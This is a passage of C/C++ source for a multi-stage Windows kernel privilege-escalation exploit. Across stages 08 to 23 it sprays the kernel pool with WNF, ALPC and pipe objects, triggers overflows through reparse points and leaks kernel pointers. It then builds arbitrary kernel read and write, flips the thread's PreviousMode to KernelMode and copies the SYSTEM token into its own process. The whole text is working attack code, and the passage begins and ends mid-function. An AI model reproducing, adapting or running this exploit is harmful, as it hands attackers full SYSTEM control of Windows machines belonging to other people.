    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to open file: %lu\n", GetLastError());
        return FALSE;
    }

    CloseHandle(hFile);
    printf("[+] Overflow triggered (0x1010 bytes into 0x1000 buffer)\n");
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 08 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 09: ALPC RESERVES
//============================================================================

static BOOL Stage09_AlpcReserves(void) {
    printf("\n=======================================\n");
    printf("    STAGE 09: ALPC RESERVES\n");
    printf("=======================================\n");

    DWORD totalReserves = 0;
    g_saved_reserve_handle = NULL;

    for (DWORD i = 0; i < ALPC_PORT_COUNT; i++) {
        if (g_alpc_ports[i] == NULL) continue;

        for (DWORD j = 0; j < ALPC_RESERVES_PER_PORT; j++) {
            HANDLE hResource = NULL;
            if (g_NtAlpcCreateResourceReserve(g_alpc_ports[i], 0, 0x28, &hResource) ==
0) {
                totalReserves++;
                if (g_saved_reserve_handle == NULL) {
                    g_saved_reserve_handle = hResource;
                }
            }
        }
    }

    printf("[+] Created %lu total reserves\n", totalReserves);
    printf("[+] Saved reserve handle: 0x%p\n", g_saved_reserve_handle);
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_LONG);
    printf("[+] Stage 09 COMPLETE\n");
```

```
    return TRUE;
}

//============================================================================
// STAGE 10: LEAK KERNEL POINTER
//============================================================================

static BOOL Stage10_LeakKernelPointer(void) {
    printf("\n=======================================\n");
    printf("    STAGE 10: LEAK KERNEL POINTER\n");
    printf("=======================================\n");

    g_victim_index = -1;

    for (DWORD i = 1; i < WNF_SPRAY_COUNT; i += 2) {
        if (!g_wnf_active[i]) continue;

        ULONG bufferSize = 0;
        WNF_CHANGE_STAMP changeStamp = 0;

        NTSTATUS status = g_NtQueryWnfStateData(&g_wnf_names[i], NULL, NULL,
&changeStamp, NULL, &bufferSize);

        if ((status == STATUS_BUFFER_TOO_SMALL || status == 0) && changeStamp ==
CHANGE_STAMP_FIRST) {
            g_victim_index = i;
            printf("[+] Found victim WNF at index %d (DataSize: 0x%lX)\n", i,
bufferSize);
            break;
        }
    }

    if (g_victim_index == -1) {
        printf("[-] No corrupted WNF found\n");
        return FALSE;
    }

    ULONG querySize = 0;
    WNF_CHANGE_STAMP stamp = 0;
    g_NtQueryWnfStateData(&g_wnf_names[g_victim_index], NULL, NULL, &stamp, NULL,
&querySize);

    auto buffer = std::make_unique<BYTE[]>(querySize + 0x10);
    ULONG readSize = querySize;
    g_NtQueryWnfStateData(&g_wnf_names[g_victim_index], NULL, NULL, &stamp,
buffer.get(), &readSize);


    if (readSize > 0xFF0) {
        ULONG64 value = *(ULONG64*)(buffer.get() + 0xFF0);
        if (IsKernelPointer(value)) {
            g_leaked_kalpc = (PVOID)value;
            printf("[+] KERNEL POINTER LEAKED: 0x%p\n", g_leaked_kalpc);
            printf("[+] Stage 10 COMPLETE\n");
            return TRUE;
        }
```

```
    }

    printf("[-] No kernel pointer found\n");
    return FALSE;
}

//============================================================================
// STAGE 11: CREATE PIPES
//============================================================================

static BOOL Stage11_CreatePipes(void) {
    printf("\n=======================================\n");
    printf("    STAGE 11: CREATE PIPES\n");
    printf("=======================================\n");

    g_pipe_read = std::make_unique<HANDLE[]>(PIPE_SPRAY_COUNT);
    g_pipe_write = std::make_unique<HANDLE[]>(PIPE_SPRAY_COUNT);

    DWORD created = 0;
    for (DWORD i = 0; i < PIPE_SPRAY_COUNT; i++) {
        if (CreatePipe(&g_pipe_read[i], &g_pipe_write[i], NULL, 0x1000)) created++;
        else g_pipe_read[i] = g_pipe_write[i] = NULL;
    }

    printf("[+] Created %lu pipe pairs\n", created);
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 11 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 12: SPRAY PIPE ATTRIBUTES (CLAIM)
//============================================================================

static BOOL Stage12_SprayPipeAttributesClaim(void) {
    printf("\n=======================================\n");
    printf("    STAGE 12: SPRAY PIPE ATTRS (CLAIM)\n");
    printf("=======================================\n");

    char array_data_pipe[0x1000] = { 0 };
    memset(array_data_pipe, 0x54, 0x20);
    memset(array_data_pipe + 0x21, 0x54, 0x40);

    DWORD attrSet = 0;
    for (DWORD i = 0; i < PIPE_SPRAY_COUNT; i++) {
        if (g_pipe_write[i] == NULL) continue;
        IO_STATUS_BLOCK iosb = {};
        if (g_NtFsControlFile(g_pipe_write[i], NULL, NULL, NULL, &iosb,
            FSCTL_PIPE_SET_PIPE_ATTRIBUTE, array_data_pipe, PIPE_ATTR_CLAIM_SIZE, NULL,
0) == 0)
            attrSet++;
    }

    printf("[+] Set %lu pipe attributes\n", attrSet);
    printf("[+] Waiting for the memory to stabilize...\n");
```

```
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 12 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 13: SECOND WNF SPRAY
//============================================================================

static BOOL Stage13_SecondWnfSpray(void) {
    printf("\n=======================================\n");
    printf("    STAGE 13: SECOND WNF SPRAY\n");
    printf("=======================================\n");

    g_wnf_pad_names_second =
std::make_unique<WNF_STATE_NAME[]>(WNF_PAD_SPRAY_COUNT_SECOND);
    g_wnf_names_second = std::make_unique<WNF_STATE_NAME[]>(WNF_SPRAY_COUNT_SECOND);
    g_wnf_active_second = std::make_unique<BOOL[]>(WNF_SPRAY_COUNT_SECOND);
    memset(g_wnf_active_second.get(), 0, WNF_SPRAY_COUNT_SECOND * sizeof(BOOL));

    PSECURITY_DESCRIPTOR pSecurityDescriptor = nullptr;
    ConvertStringSecurityDescriptorToSecurityDescriptorW(L"", SDDL_REVISION_1,
&pSecurityDescriptor, nullptr);

    auto wnf_data = std::make_unique<BYTE[]>(WNF_DATA_SIZE);
    memset(wnf_data.get(), 0x52, WNF_DATA_SIZE);

    for (DWORD i = 0; i < WNF_PAD_SPRAY_COUNT_SECOND; i++) {
        g_NtCreateWnfStateName(&g_wnf_pad_names_second[i], WnfTemporaryStateName,
WnfDataScopeUser, FALSE, NULL, 0x1000, pSecurityDescriptor);
    }
    for (DWORD i = 0; i < WNF_SPRAY_COUNT_SECOND; i++) {
        g_NtCreateWnfStateName(&g_wnf_names_second[i], WnfTemporaryStateName,
WnfDataScopeUser, FALSE, NULL, 0x1000, pSecurityDescriptor);
    }

    for (DWORD i = 0; i < WNF_PAD_SPRAY_COUNT_SECOND; i++) {
        g_NtUpdateWnfStateData(&g_wnf_pad_names_second[i], wnf_data.get(),
WNF_DATA_SIZE, NULL, NULL, 0, 0);
    }

    Sleep(SLEEP_NORMAL);

    DWORD updated = 0;
    for (DWORD i = 0; i < WNF_SPRAY_COUNT_SECOND; i++) {
        if (g_NtUpdateWnfStateData(&g_wnf_names_second[i], wnf_data.get(),
WNF_DATA_SIZE, NULL, NULL, 0, 0) == 0) {
            g_wnf_active_second[i] = TRUE;
            updated++;
        }
    }

    LocalFree(pSecurityDescriptor);
    printf("[+] Created and updated %lu second wave WNF\n", updated);
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
```

```
    printf("[+] Stage 13 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 14: CREATE HOLES (SECOND)
//============================================================================

static BOOL Stage14_CreateHolesSecond(void) {
    printf("\n=======================================\n");
    printf("    STAGE 14: CREATE HOLES (SECOND)\n");
    printf("=======================================\n");

    DWORD deleted = 0;
    for (DWORD i = 0; i < WNF_SPRAY_COUNT_SECOND; i += 2) {
        if (g_wnf_active_second[i]) {
            if (g_NtDeleteWnfStateName(&g_wnf_names_second[i]) == 0) {
                g_wnf_active_second[i] = FALSE;
                deleted++;
            }
        }
    }

    printf("[+] Created %lu holes\n", deleted);
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 14 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 15: PLACE SECOND OVERFLOW
//============================================================================

static BOOL Stage15_PlaceSecondOverflow(void) {
    printf("\n=======================================\n");
    printf("    STAGE 15: PLACE SECOND OVERFLOW\n");
    printf("=======================================\n");

    SetFileAttributesW(g_filePath_second, FILE_ATTRIBUTE_NORMAL);
    DeleteFileW(g_filePath_second);

    HANDLE hFile = CreateFileW(g_filePath_second, GENERIC_ALL,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to create second file: %lu\n", GetLastError());
        return FALSE;
    }

    std::unique_ptr<char[]> payload(new char[REPARSE_DATA_SIZE]);
    memset(payload.get(), PAYLOAD_FILL_BYTE, 0x1000);
    memset(payload.get() + 0x1000, 0, REPARSE_DATA_SIZE - 0x1000);

    *(ULONG*)(payload.get() + PAYLOAD_OFFSET + 0x00) = 0x00200904;
```

```
    *(ULONG*)(payload.get() + PAYLOAD_OFFSET + 0x04) = 0x00000FF8;
    *(ULONG*)(payload.get() + PAYLOAD_OFFSET + 0x08) = 0x00000FF8;
    *(ULONG*)(payload.get() + PAYLOAD_OFFSET + 0x0C) = CHANGE_STAMP_SECOND;

    int rc = BuildAndSetReparsePoint(hFile, PAYLOAD_SIZE_OVERFLOW, payload.get());
    CloseHandle(hFile);

    if (rc != 0) {
        printf("[-] Failed to set reparse point\n");
        return FALSE;
    }

    printf("[+] Reparse point set (ChangeStamp=0x%04X)\n", CHANGE_STAMP_SECOND);
    printf("[+] Stage 15 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 16: TRIGGER SECOND OVERFLOW
//============================================================================

static BOOL Stage16_TriggerSecondOverflow(void) {
    printf("\n========================================\n");
    printf("    STAGE 16: TRIGGER SECOND OVERFLOW\n");
    printf("========================================\n");

    HANDLE hFile = CreateFileW(g_filePath_second, GENERIC_READ,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to open second file: %lu\n", GetLastError());
        return FALSE;
    }

    CloseHandle(hFile);
    printf("[+] Second overflow triggered\n");
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_SHORT);
    printf("[+] Stage 16 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 17: FILL WITH PIPE ATTRIBUTES
//============================================================================

static BOOL Stage17_FillWithPipeAttributes(void) {
    printf("\n========================================\n");
    printf("    STAGE 17: FILL WITH PIPE ATTRS\n");
    printf("========================================\n");

    char array_data_pipe[0x1000] = { 0 };
    memset(array_data_pipe, 0x55, 0x20);
    memset(array_data_pipe + 0x21, 0x55, 0x40);
```

```
    DWORD attrSet = 0;
    for (DWORD i = 0; i < PIPE_SPRAY_COUNT; i++) {
        if (g_pipe_write[i] == NULL) continue;
        IO_STATUS_BLOCK iosb = {};
        if (g_NtFsControlFile(g_pipe_write[i], NULL, NULL, NULL, &iosb,
            FSCTL_PIPE_SET_PIPE_ATTRIBUTE, array_data_pipe, PIPE_ATTR_FILL_SIZE, NULL,
0) == 0)
            attrSet++;
    }

    printf("[+] Set %lu large pipe attributes\n", attrSet);
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_LONG + 3000);
    printf("[+] Stage 17 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 18: FIND SECOND VICTIM AND LEAK PIPE
//============================================================================

static BOOL Stage18_FindSecondVictimAndLeakPipe(void) {
    printf("\n=======================================\n");
    printf("    STAGE 18: FIND VICTIM & LEAK PIPE\n");
    printf("=======================================\n");

    g_victim_index_second = -1;
    g_leaked_pipe_attr = NULL;

    for (DWORD i = 1; i < WNF_SPRAY_COUNT_SECOND; i += 2) {
        if (!g_wnf_active_second[i]) continue;

        ULONG bufferSize = 0;
        WNF_CHANGE_STAMP changeStamp = 0;

        NTSTATUS status = g_NtQueryWnfStateData(&g_wnf_names_second[i], NULL, NULL,
&changeStamp, NULL, &bufferSize);

        if ((status == STATUS_BUFFER_TOO_SMALL || status == 0) && changeStamp ==
CHANGE_STAMP_SECOND) {
            g_victim_index_second = i;
            printf("[+] Found second victim WNF at index %d\n", i);

            if (bufferSize >= 0xFF8) {
                auto buffer = std::make_unique<BYTE[]>(bufferSize + 0x10);
                ULONG readSize = bufferSize;
                g_NtQueryWnfStateData(&g_wnf_names_second[i], NULL, NULL, &changeStamp,
buffer.get(), &readSize);

                if (readSize >= 0xFF8) {
                    ULONG64 oob_value = *(ULONG64*)(buffer.get() + 0xFF0);
                    if (IsKernelPointer(oob_value)) {
                        g_leaked_pipe_attr = (PVOID)oob_value;
                        printf("[+] PIPE_ATTRIBUTE LEAKED: 0x%p\n",
g_leaked_pipe_attr);
                    }
```

```
                }
            }
            break;
        }
    }

    if (g_victim_index_second == -1) {
        printf("[-] No corrupted WNF found (second wave)\n");
        return FALSE;
    }

    printf("[+] Stage 18 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 19: SETUP ARBITRARY READ
//============================================================================

static BOOL Stage19_SetupArbitraryRead(void) {
    printf("\n=======================================\n");
    printf("    STAGE 19: SETUP ARBITRARY READ\n");
    printf("=======================================\n");

    if (g_victim_index_second == -1 || g_leaked_kalpc == NULL) {
        printf("[-] Missing prerequisites\n");
        return FALSE;
    }

    memset(g_fake_pipe_attr, 0, sizeof(g_fake_pipe_attr));
    memset(g_fake_pipe_attr2, 0, sizeof(g_fake_pipe_attr2));

    ULONG64* fake1 = (ULONG64*)g_fake_pipe_attr;
    fake1[0] = (ULONG64)g_fake_pipe_attr2;
    fake1[1] = (ULONG64)g_leaked_pipe_attr;
    fake1[2] = (ULONG64)g_fake_attr_name;
    fake1[3] = 0x28;
    fake1[4] = (ULONG64)g_leaked_kalpc;
    fake1[5] = 0x6969696969696969ULL;

    ULONG64* fake2 = (ULONG64*)g_fake_pipe_attr2;
    fake2[0] = 0x7070707070707070ULL;
    fake2[1] = (ULONG64)g_fake_pipe_attr;
    fake2[2] = (ULONG64)g_fake_attr_name2;
    fake2[3] = 0x28;
    fake2[4] = (ULONG64)g_leaked_kalpc;
    fake2[5] = 0x7171717171717171ULL;

    printf("[+] Fake pipe_attr at: 0x%p\n", g_fake_pipe_attr);

    auto overflow_data = std::make_unique<BYTE[]>(0xFF8);
    memset(overflow_data.get(), 0x56, 0xFF8);
    *(ULONG64*)(overflow_data.get() + 0xFF8 - 8) = (ULONG64)g_fake_pipe_attr;

    NTSTATUS status = g_NtUpdateWnfStateData(
        &g_wnf_names_second[g_victim_index_second],
```

```
        overflow_data.get(), 0xFF8, NULL, NULL, CHANGE_STAMP_SECOND, 0
    );

    if (status != 0) {
        printf("[-] WNF update failed: 0x%08X\n", status);
        return FALSE;
    }

    printf("[+] pipe_attribute->Flink corrupted\n");
    printf("[+] Stage 19 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 20: READ KERNEL MEMORY
//============================================================================

static BOOL Stage20_ReadKernelMemory(void) {
    printf("\n=======================================\n");
    printf("    STAGE 20: READ KERNEL MEMORY\n");
    printf("=======================================\n");

    g_target_pipe_index = -1;
    BYTE buffer[0x1000] = { 0 };
    for (DWORD i = 0; i < PIPE_SPRAY_COUNT; i++) {
        if (g_pipe_write[i] == NULL) continue;
        IO_STATUS_BLOCK iosb = {};
        NTSTATUS status = g_NtFsControlFile(g_pipe_write[i], NULL, NULL, NULL, &iosb,
            FSCTL_PIPE_GET_PIPE_ATTRIBUTE, g_fake_attr_name,
(ULONG)strlen(g_fake_attr_name) + 1,
            buffer, sizeof(buffer));
        if (status == 0) {
            ULONG64* data = (ULONG64*)buffer;
            if (!IsKernelPointer(data[0]) || !IsKernelPointer(data[1]) ||
!IsKernelPointer(data[3])) {
                printf("[-] Pipe %lu: invalid KALPC_RESERVE pointers, skipping\n", i);
                continue;
            }
            g_target_pipe_index = i;
            printf("[+] Found target pipe at index %lu\n", i);
            printf("[*] KALPC_RESERVE:\n");
            for (int j = 0; j < 4; j++) {
                printf("    +0x%02X: 0x%016llX\n", j * 8, (unsigned long long)data[j]);
            }
            g_alpc_port_addr = data[0];
            g_alpc_handle_table_addr = data[1];
            g_alpc_message_addr = data[3];
            break;
        }
    }
    if (g_target_pipe_index == -1) {
        printf("[-] Failed to read kernel memory via any pipe\n");
        return FALSE;
    }
    printf("[+] Arbitrary READ primitive established!\n");
    printf("[+] Stage 20 COMPLETE\n");
```

```
    return TRUE;
}

//============================================================================
// STAGE 21: DISCOVER EPROCESS AND TOKEN
//============================================================================

static BOOL Stage21_DiscoverEprocessAndToken(void) {
    printf("\n========================================\n");
    printf("    STAGE 21: DISCOVER EPROCESS/TOKEN\n");
    printf("========================================\n");

    printf("[+] ALPC_PORT: 0x%016llX\n", (unsigned long long)g_alpc_port_addr);

    BYTE alpc_port_data[0x200];
    if (!ReadKernelBuffer(g_alpc_port_addr, alpc_port_data, sizeof(alpc_port_data))) {
        printf("[-] Failed to read ALPC_PORT\n");
        return FALSE;
    }

    g_eprocess_addr = *(ULONG64*)(alpc_port_data + 0x18);

    if (!IsKernelPointer(g_eprocess_addr)) {
        for (int offset = 0x10; offset <= 0x38; offset += 8) {
            ULONG64 candidate = *(ULONG64*)(alpc_port_data + offset);
            if (!IsKernelPointer(candidate)) continue;

            char test_name[16] = { 0 };
            if (ReadKernelBuffer(candidate + EPROCESS_IMAGEFILENAME_OFFSET, test_name,
15)) {
                BOOL valid = TRUE;
                for (int j = 0; j < 15 && test_name[j]; j++) {
                    if (test_name[j] < 32 || test_name[j] >= 127) { valid = FALSE;
break; }
                }
                if (valid && test_name[0]) {
                    g_eprocess_addr = candidate;
                    printf("[+] EPROCESS: 0x%016llX (%s)\n", (unsigned long
long)candidate, test_name);
                    break;
                }
            }
        }
    }
    else {
        char name[16] = { 0 };
        ReadKernelBuffer(g_eprocess_addr + EPROCESS_IMAGEFILENAME_OFFSET, name, 15);
        printf("[+] EPROCESS: 0x%016llX (%s)\n", (unsigned long long)g_eprocess_addr,
name);
    }

    if (!IsKernelPointer(g_eprocess_addr)) {
        printf("[-] Could not find EPROCESS\n");
        return FALSE;
    }
```

```
    DWORD our_pid = GetCurrentProcessId();
    printf("[*] Our PID: %lu\n", our_pid);

    ULONG64 current = g_eprocess_addr;
    ULONG64 start = g_eprocess_addr;
    int count = 0;

    do {
        BYTE chunk[0x180];
        if (!ReadKernelBuffer(current + 0x440, chunk, sizeof(chunk))) break;

        ULONG pid = *(ULONG*)(chunk + 0);
        ULONG64 flink = *(ULONG64*)(chunk + 8);
        ULONG64 token_raw = *(ULONG64*)(chunk + 0x78);
        char name[16] = { 0 };
        memcpy(name, chunk + 0x168, 15);

        ULONG64 token = token_raw & ~0xFULL;

        if (pid == 4) {
            g_system_eprocess = current;
            g_system_token = token;
            g_system_token_raw = token_raw;
            printf("[+] SYSTEM EPROCESS: 0x%016llX\n", (unsigned long long)current);
            printf("[+] SYSTEM Token: 0x%016llX (raw: 0x%016llX)\n",
                (unsigned long long)token, (unsigned long long)token_raw);
        }
        if (pid == our_pid) {
            g_our_eprocess = current;
            g_our_token = token;
            printf("[+] Our EPROCESS: 0x%016llX\n", (unsigned long long)current);
            printf("[+] Our Token: 0x%016llX\n", (unsigned long long)token);
        }
        if (_stricmp(name, "winlogon.exe") == 0) {
            g_winlogon_pid = pid;
            printf("[+] Winlogon PID: %lu\n", pid);
        }

        if (g_system_eprocess && g_our_eprocess && g_winlogon_pid) break;
        if (!IsKernelPointer(flink)) break;

        current = flink - EPROCESS_ACTIVEPROCESSLINKS_OFFSET;
        if (current == start) break;
        count++;
    } while (count < 500);

    if (!g_system_eprocess || !g_our_eprocess) {
        printf("[-] Failed to find required processes\n");
        return FALSE;
    }

    if (!IsKernelPointer(g_system_token) || !IsKernelPointer(g_our_token)) {
        printf("[-] Token values don't look valid\n");
        printf("    System token raw: 0x%016llX\n", (unsigned long
long)g_system_token);
        printf("    Our token raw: 0x%016llX\n", (unsigned long long)g_our_token);
```

```
        return FALSE;
    }

    if (g_winlogon_pid == 0) {
        printf("[-] Warning: winlogon.exe not found during walk\n");
    }

    printf("\n[*] KTHREAD: 0x%016llX\n", (unsigned long long)g_our_kthread);

    BYTE kthread_probe[16] = { 0 };
    if (!ReadKernelBuffer(g_our_kthread + KTHREAD_PREVIOUSMODE_OFFSET, kthread_probe,
16)) {
        printf("[-] Failed to read KTHREAD+0x%X\n", KTHREAD_PREVIOUSMODE_OFFSET);
        return FALSE;
    }

    printf("[+] PreviousMode: 0x%02X (%s)\n",
        kthread_probe[0], kthread_probe[0] == 1 ? "UserMode" : "UNEXPECTED");

    if (kthread_probe[0] != 0x01) {
        printf("[-] PreviousMode verification FAILED\n");
        return FALSE;
    }

    printf("[+] Stage 21 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 22: FLIP PREVIOUSMODE
//============================================================================

static BOOL Stage22_FlipPreviousMode(void) {
    printf("\n=======================================\n");
    printf("    STAGE 22: FLIP PREVIOUSMODE\n");
    printf("=======================================\n");

    if (g_victim_index == -1 || g_our_kthread == 0 ||
        g_alpc_handle_table_addr == 0) {
        printf("[-] Missing prerequisites for PreviousMode flip\n");
        return FALSE;
    }

    ULONG64 target_addr = g_our_kthread + KTHREAD_PREVIOUSMODE_OFFSET;
    printf("[*] Target: KTHREAD+0x%X (0x%016llX)\n",
        KTHREAD_PREVIOUSMODE_OFFSET, (unsigned long long)target_addr);

    if (!ReadKernelBuffer(target_addr, g_kthread_pre_read, 16)) {
        printf("[-] Failed to pre-read KTHREAD+0x%X\n", KTHREAD_PREVIOUSMODE_OFFSET);
        return FALSE;
    }

    printf("[*] PreviousMode BEFORE: 0x%02X (%s)\n",
        g_kthread_pre_read[0], g_kthread_pre_read[0] == 1 ? "UserMode" : "UNEXPECTED");

    if (g_kthread_pre_read[0] != 0x01) {
```

```
        printf("[-] PreviousMode is not 1 (UserMode) -- aborting to prevent BSOD\n");
        return FALSE;
    }

    g_fake_kalpc_reserve_object = (BYTE*)VirtualAlloc(NULL,
        sizeof(KALPC_RESERVE) + 0x20, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    g_fake_kalpc_message_object = (BYTE*)VirtualAlloc(NULL,
        sizeof(KALPC_MESSAGE) + 0x20, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    if (!g_fake_kalpc_reserve_object || !g_fake_kalpc_message_object) {
        printf("[-] Memory allocation failed\n");
        return FALSE;
    }

    *(ULONG64*)(g_fake_kalpc_reserve_object + 0x00) = 0x0000000000000700;
    *(ULONG64*)(g_fake_kalpc_reserve_object + 0x08) = 0x0000000000000001;
    *(ULONG64*)(g_fake_kalpc_message_object + 0x08) = 0x0000000000000001;

    g_fake_kalpc_reserve = (KALPC_RESERVE*)(g_fake_kalpc_reserve_object + 0x20);
    g_fake_kalpc_message = (KALPC_MESSAGE*)(g_fake_kalpc_message_object + 0x20);

    g_fake_kalpc_reserve->Size = 0x28;
    g_fake_kalpc_reserve->Message = g_fake_kalpc_message;
    g_fake_kalpc_message->Reserve = g_fake_kalpc_reserve;
    g_fake_kalpc_message->ExtensionBuffer = (PVOID)target_addr;
    g_fake_kalpc_message->ExtensionBufferSize = 0x10;

    printf("[*] Corrupting KALPC handle table via WNF OOB write...\n");

    auto overflow_data = std::make_unique<BYTE[]>(0xFF8);
    memset(overflow_data.get(), 0, 0xFF8);
    memset(overflow_data.get(), 0x48, 0x200);
    *(ULONG64*)(overflow_data.get() + 0xFF0) = (ULONG64)g_fake_kalpc_reserve;

    NTSTATUS status = g_NtUpdateWnfStateData(
        &g_wnf_names[g_victim_index],
        overflow_data.get(), 0xFF8, NULL, NULL, CHANGE_STAMP_FIRST, 0
    );

    if (status != 0) {
        printf("[-] WNF update failed: 0x%08X\n", status);
        return FALSE;
    }

    printf("[*] Sending ALPC write to flip PreviousMode -> 0...\n");

    ALPC_MESSAGE alpc_message;
    memset(&alpc_message, 0, sizeof(alpc_message));
    alpc_message.PortHeader.u1.s1.DataLength = 0x10;
    alpc_message.PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + 0x10;
    alpc_message.PortHeader.MessageId = (ULONG)(ULONG_PTR)g_saved_reserve_handle;

    BYTE* pData = (BYTE*)&alpc_message + sizeof(PORT_MESSAGE);
    memcpy(pData, g_kthread_pre_read, 16);
    pData[0] = 0x00;  // KernelMode
```

```
    for (DWORD i = 0; i < ALPC_PORT_COUNT; i++) {
        if (g_alpc_ports[i] == NULL) continue;
        g_NtAlpcSendWaitReceivePort(g_alpc_ports[i], 0,
            (PPORT_MESSAGE)&alpc_message, NULL, NULL, NULL, NULL, NULL);
    }

    Sleep(100);

    BYTE post_read[16] = { 0 };
    if (!ReadKernelBuffer(target_addr, post_read, 16)) {
        printf("[-] Failed to read KTHREAD after flip\n");
        return FALSE;
    }

    printf("[*] PreviousMode AFTER:  0x%02X (%s)\n",
        post_read[0], post_read[0] == 0 ? "KernelMode" : "NOT FLIPPED");

    if (post_read[0] != 0x00) {
        printf("[-] PreviousMode not flipped (still 0x%02X) -- ALPC write failed\n",
post_read[0]);
        return FALSE;
    }

    printf("[+] PreviousMode FLIPPED to 0x00 (KernelMode)!\n");
    printf("[!] All subsequent syscalls bypass access checks\n");
    printf("[+] Stage 22 COMPLETE\n");
    return TRUE;
}

//==============================================================================
// STAGE 23: PREVIOUSMODE EXPLOITATION
//==============================================================================

static BOOL Stage23_PreviousModeExploit(void) {
    printf("\n=======================================\n");
    printf("    STAGE 23: PREVIOUSMODE EXPLOIT\n");
    printf("=======================================\n");

    printf("[*] Executing PreviousMode=0 syscall sequence...\n");

    ULONG64 corrupted_pipe_flink_addr = 0;
    if (g_leaked_pipe_attr) {
        BYTE pipe_le[16] = { 0 };
        if (ReadKernelBuffer((ULONG64)g_leaked_pipe_attr, pipe_le, 16)) {
            ULONG64 blink = *(ULONG64*)(pipe_le + 8);
            if (IsKernelPointer(blink)) {
                corrupted_pipe_flink_addr = blink;
                printf("[*] Corrupted pipe attr at: 0x%016llX (will restore Flink)\n",
                    (unsigned long long)blink);
            }
        }
    }

    // ================================================================
    //  PHASE 1: PreviousMode=0 WINDOW
    // ================================================================
```

```
    BOOL phase1_ok = TRUE;
    NTSTATUS nt_status = 0;

    // Step A: Open System process (PID 4) with PROCESS_ALL_ACCESS
    OBJECT_ATTRIBUTES oa = {};
    oa.Length = sizeof(OBJECT_ATTRIBUTES);
    CLIENT_ID sys_cid = {};
    sys_cid.UniqueProcess = (HANDLE)(ULONG_PTR)4;

    HANDLE hSysProc = NULL;
    nt_status = g_NtOpenProcess(&hSysProc, PROCESS_ALL_ACCESS, &oa, &sys_cid);
    if (nt_status != 0) phase1_ok = FALSE;

    // Step B: Open System token with TOKEN_ALL_ACCESS
    HANDLE hSysToken = NULL;
    if (phase1_ok) {
        nt_status = g_NtOpenProcessTokenEx(hSysProc, TOKEN_ALL_ACCESS, 0, &hSysToken);
        if (nt_status != 0) phase1_ok = FALSE;
    }

    // Step C: Duplicate as impersonation token
    HANDLE hImpToken = NULL;
    if (phase1_ok) {
        SECURITY_QUALITY_OF_SERVICE sqos = {};
        sqos.Length = sizeof(sqos);
        sqos.ImpersonationLevel = SecurityImpersonation;

        OBJECT_ATTRIBUTES token_oa = {};
        token_oa.Length = sizeof(OBJECT_ATTRIBUTES);
        token_oa.SecurityQualityOfService = &sqos;

        nt_status = g_NtDuplicateToken(hSysToken, TOKEN_ALL_ACCESS,
            &token_oa, FALSE, TokenImpersonation, &hImpToken);
        if (nt_status != 0) phase1_ok = FALSE;
    }

    // Step D: Impersonate SYSTEM on our thread
    if (phase1_ok) {
        nt_status = g_NtSetInformationThread(
            (HANDLE)(LONG_PTR)-2,  // NtCurrentThread()
            5,                     // ThreadImpersonationToken
            &hImpToken, sizeof(HANDLE));
        if (nt_status != 0) phase1_ok = FALSE;
    }

    // Step E: Write SYSTEM token to our EPROCESS (identity swap)
    NTSTATUS token_write_status = (NTSTATUS)0xFFFFFFFF;
    if (phase1_ok) {
        ULONG64 system_token = g_system_token_raw;
        token_write_status = g_NtWriteVirtualMemory(
            (HANDLE)(LONG_PTR)-1,
            (PVOID)(g_our_eprocess + EPROCESS_TOKEN_OFFSET),
            &system_token, sizeof(ULONG64), NULL);
    }
```

```
    // Step F: Restore corrupted pipe attribute Flink (prevents BSOD on exit)
    NTSTATUS pipe_restore_status = (NTSTATUS)0xFFFFFFFF;
    if (phase1_ok && corrupted_pipe_flink_addr != 0
        && IsKernelPointer(corrupted_pipe_flink_addr)) {
        ULONG64 original_flink = (ULONG64)g_leaked_pipe_attr;
        pipe_restore_status = g_NtWriteVirtualMemory(
            (HANDLE)(LONG_PTR)-1,
            (PVOID)corrupted_pipe_flink_addr,
            &original_flink, sizeof(ULONG64), NULL);
    }

    // ================================================================
    //  PHASE 2: Restore PreviousMode to 1 (UserMode)
    // ================================================================

    BYTE restore_val = 0x01;
    NTSTATUS write_status = g_NtWriteVirtualMemory(
        (HANDLE)(LONG_PTR)-1,  // NtCurrentProcess()
        (PVOID)(g_our_kthread + KTHREAD_PREVIOUSMODE_OFFSET),
        &restore_val, 1, NULL);

    // ================================================================
    //  PHASE 3: Post-restore
    // ================================================================

    BYTE post_restore[16] = { 0 };
    ReadKernelBuffer(g_our_kthread + KTHREAD_PREVIOUSMODE_OFFSET, post_restore, 16);

    printf("[+] PreviousMode restored: 0x%02X (%s)\n",
        post_restore[0], post_restore[0] == 1 ? "UserMode" : "STILL KERNEL!");

    if (post_restore[0] != 0x01) {
